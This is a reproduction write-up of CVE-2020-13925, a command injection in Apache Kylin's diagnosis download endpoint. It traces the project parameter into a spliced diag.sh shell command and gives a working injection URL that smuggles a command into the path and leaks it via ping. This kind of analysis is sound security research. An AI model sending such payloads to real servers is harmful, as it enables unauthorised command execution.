Apache Kylin DiagnosisController.java command injection vulnerability CVE-2020-13925
Apache Kylin DiagnosisController.java Command Injection Vulnerability CVE-2020-13925
Vulnerability Description
In June, JD Security’s Blue Army team discovered a serious vulnerability to execute aapache kylin remote command (CVE-2020-13925).
Affect Version
Apache Kylin 2.3.0 ~ 2.3.2 Apache Kylin 2.4.0 ~ 2.4.1 Apache Kylin 2.5.0 ~ 2.5.2 Apache Kylin 2.6.0 ~ 2.6.5 Apache Kylin 3.0.0-alpha</a-checkbox>
Environment construction
</a-alert>
1
2
3
4
5
6
7
8
9
10
11
docker pull apachekylin/apache-kylin-standalone:3.0.1
docker run -d \
-m 8G \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
apachekylin/apache-kylin-standalone:3.0.1
After opening, log in with the default account password admin/KYLIN. The initial interface appears. Success
Vulnerability reappears
The vulnerable code file is in server-base/src/main/java/org/apache/kylin/rest/controller/DiagnosisController.java
```java {4} /** * Get diagnosis information for project */ @RequestMapping(value = “/project/{project}/download”, method = { RequestMethod.GET }, produces = { “application/json” }) @ResponseBody public void dumpProjectDiagnosisInfo(@PathVariable String project, final HttpServletRequest request, final HttpServletResponse response) { try (AutoDeleteDirectory diagDir = new AutoDeleteDirectory(“diag_project”, “”)) { String filePath = dgService.dumpProjectDiagnosisInfo(project, diagDir.getFile()); setDownloadResponse(filePath, response); } catch (IOException e) { throw new InternalErrorException(“Failed to dump project diagnosis info. “ + e.getMessage(), e); }
1
} ```
Here you can see that the {project}
parameter is a user-controllable variable. Follow up on the dumpProjectDiagnosisInfo
function downwards
```java {1} public String dumpProjectDiagnosisInfo(String project, File exportPath) throws IOException { aclEvaluate.checkProjectOperationPermission(project); String[] args = { project, exportPath.getAbsolutePath() }; runDiagnosisCLI(args); return getDiagnosisPackageName(exportPath); }
1
2
3
4
5
6
7
8
9
10

First, check whether the project is allowed through the `checkProjectOperationPermission` function, and then build an array of strings of `args`. Take a look at the `checkProjectOperationPermission` function
```java {2}
public void checkProjectOperationPermission(String projectName) {
ProjectInstance projectInstance = getProjectInstance(projectName);
aclUtil.hasProjectOperationPermission(projectInstance);
}
Here you pass projectName
, and then use getProjectInstance
to get the project instance, follow up on getProjectInstance
```java {1} private ProjectInstance getProjectInstance(String projectName) { return ProjectManager.getInstance(KylinConfig.getInstanceFromEnv()).getProject(projectName); }
1
2
3
4
5
6
7
8
9
10
11
Because `projectName` will be replaced by us, we will not get a correct `projectName`, and a Null will be returned. Check the `hasProjectOperationPermission` function
```java {5}
@PreAuthorize(Constant.ACCESS_HAS_ROLE_ADMIN +
" or hasPermission(#project, 'ADMINISTRATION')" +
" or hasPermission(#project, 'MANAGEMENT')" +
" or hasPermission(#project, 'OPERATION')")
public boolean hasProjectOperationPermission(ProjectInstance project) {
return true;
}
There is no projectName
check here, only the user identity is checked. When the permissions such as ADMIN, ADMINISTRATION, MANAGEMENT, OPERATION
are allowed, the value is returned to true
by default, and return to the dumpProjectDiagnosisInfo
function, and continue to follow up on the runDiagnosisCLI
function downward
```java {14-16} private void runDiagnosisCLI(String[] args) throws IOException { Message msg = MsgPicker.getMsg();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
File cwd = new File("");
logger.debug("Current path: " + cwd.getAbsolutePath());
logger.debug("DiagnosisInfoCLI args: " + Arrays.toString(args));
File script = new File(KylinConfig.getKylinHome() + File.separator + "bin", "diag.sh");
if (!script.exists()) {
throw new BadRequestException(
String.format(Locale.ROOT, msg.getDIAG_NOT_FOUND(), script.getAbsolutePath()));
}
String diagCmd = script.getAbsolutePath() + " " + StringUtils.join(args, " ");
CliCommandExecutor executor = KylinConfig.getInstanceFromEnv().getCliCommandExecutor();
Pair<Integer, String> cmdOutput = executor.execute(diagCmd);
if (cmdOutput.getFirst() != 0) {
throw new BadRequestException(msg.getGENERATE_DIAG_PACKAGE_FAIL());
}
} ```
Pay attention to these lines of code
```java {3} String diagCmd = script.getAbsolutePath() + “ “ + StringUtils.join(args, “ “); CliCommandExecutor executor = KylinConfig.getInstanceFromEnv().getCliCommandExecutor(); Pair<Integer, String> cmdOutput = executor.execute(diagCmd);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
Similar to the Apache Kylin command injection vulnerability `CVE-2020-1956`, it also passes through the `execute function`, and `digCmd` also passes through the command splicing.
```java {29-31}
private Pair<Integer, String> runRemoteCommand(String command, Logger logAppender) throws IOException {
SSHClient ssh = new SSHClient(remoteHost, port, remoteUser, remotePwd);
SSHClientOutput sshOutput;
try {
sshOutput = ssh.execCommand(command, remoteTimeoutSeconds, logAppender);
int exitCode = sshOutput.getExitCode();
String output = sshOutput.getText();
return Pair.newPair(exitCode, output);
} catch (IOException e) {
throw e;
} catch (Exception e) {
throw new IOException(e.getMessage(), e);
}
}
private Pair<Integer, String> runNativeCommand(String command, Logger logAppender) throws IOException {
String[] cmd = new String[3];
String osName = System.getProperty("os.name");
if (osName.startsWith("Windows")) {
cmd[0] = "cmd.exe";
cmd[1] = "/C";
} else {
cmd[0] = "/bin/bash";
cmd[1] = "-c";
}
cmd[2] = command;
ProcessBuilder builder = new ProcessBuilder(cmd);
builder.redirectErrorStream(true);
Process proc = builder.start();
BufferedReader reader = new BufferedReader(
new InputStreamReader(proc.getInputStream(), StandardCharsets.UTF_8));
String line;
StringBuilder result = new StringBuilder();
while ((line = reader.readLine()) != null && !Thread.currentThread().isInterrupted()) {
result.append(line).append('\n');
if (logAppender != null) {
logAppender.log(line);
}
}
if (Thread.interrupted()) {
logger.info("CliCommandExecutor is interruppted by other, kill the sub process: " + command);
proc.destroy();
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
// do nothing
}
return Pair.newPair(1, "Killed");
}
try {
int exitCode = proc.waitFor();
return Pair.newPair(exitCode, result.toString());
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
throw new IOException(e);
}
}
}
This way we can cause command injection by controlling the {project}
request
1
2
/kylin/api/diag/project/{project}/download
/kylin/api/diag/project/||ping `whoami.111.111.111`||/download
After splicing, it appears
1
/home/admin/apache-kylin-3.0.1-bin-hbase1x/bin/diag.sh {project} {diagDir}
Here, the error statement can be used to echo the command to verify that the vulnerability exists.
1
throw new InternalErrorException("Failed to dump project diagnosis info. " + e.getMessage(), e);
During the fix, symbols such as ||
, &&
were filtered, causing the command to be injected
Two exploit points of the CCP
1
2
/kylin/api/diag/project/{project}/download
/kylin/api/diag/job/{jobId}/download
Looking at the function, it is found that the utilization method is the same. Using job
directly will fail because {project}
has a learn_kylin
by default, while job
does not